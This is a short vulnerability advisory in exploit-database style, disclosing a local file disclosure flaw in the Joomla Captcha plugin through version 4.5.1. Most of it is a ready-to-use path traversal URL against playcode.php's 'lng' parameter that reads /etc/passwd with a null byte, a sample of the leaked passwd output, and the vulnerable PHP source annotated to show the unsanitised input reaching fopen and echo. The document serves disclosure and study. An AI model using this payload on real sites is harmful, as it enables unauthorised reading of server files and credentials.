Joomla! Plugin Captcha 4.5.1 – Local File Disclosure
:::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered by dun \ posdub[at]gmail.com ] ############################################################################# # [ Joomla Captcha Plugin <= 4.5.1 ] Local File Disclosure Vulnerability # ############################################################################# # # Script: "Joomla Captcha plugin and patch for Joomla!" # # Script site: http://www.kupala.net/ # Download: http://code.google.com/p/joomla15captcha/ # # # [LFI] (magic_quotes_gpc = Off) # Vuln: http://site.com/plugins/system/captcha/playcode.php?lng=../../../../../../../etc/passwd%00 # dun@radius ~ $ cat joomlacaptcha.mp3 # root:x:0:0:root:/root:/bin/bash # ...... # # File: ./plugins/system/captcha/playcode.php # # 79 if (!$captchacode) $captchacode = '0000000000'; # 80 # 81 session_write_close(); # 82 # 83 @$lng = $_GET['lng']; // [1] # 84 if ( !$lng ) $lng = 'en-gb'; # 85 # 86 $captchafilename = "joomlacaptcha.mp3"; # 87 $captchalength = strlen( $captchacode ); # 88 # 89 $outlength = 0; # 90 $reallength = 0; # 91 $currsize = 0; # 92 $outstream = ''; # 93 # 94 if ($captchalength > 0) { # 95 for ($i = 0; $i < $captchalength; $i++) { # 96 $soundfiles[$i] = 'files/' . $lng . '.' . strtolower( substr( $captchacode, $i, 1 ) ) . '.mp3'; // [2] # 97 } # 98 foreach ($soundfiles as $onefile){ // # 99 if (file_exists( $onefile )) { // # 100 $instream = fopen( $onefile, 'rb' ); // # 101 $currsize = filesize( $onefile ); // [3] # 102 $outstream .= fread( $instream, $currsize ); // # 103 $outlength += $currsize; // # 104 fclose( $instream ); // # 105 $reallength += 1; // # 106 } # 107 } # 108 } # 109 # 110 if (($outstream == '') || ($captchalength != $reallength)) { # 111 $outstream = 0; $outlength = 1; # 112 } # 113 # 114 ob_start(); # 115 header( 'Content-Type: audio/x-mpeg'); // # 116 header( "Content-Disposition: attachment; filename=$captchafilename;"); // # 117 header( 'Content-Transfer-Encoding: binary'); // # 118 header( 'Content-Length: '.$outlength); // # 119 echo $outstream ; // [4] LFD # 120 ob_end_flush(); # # # [ dun / 2011-01-09 ] |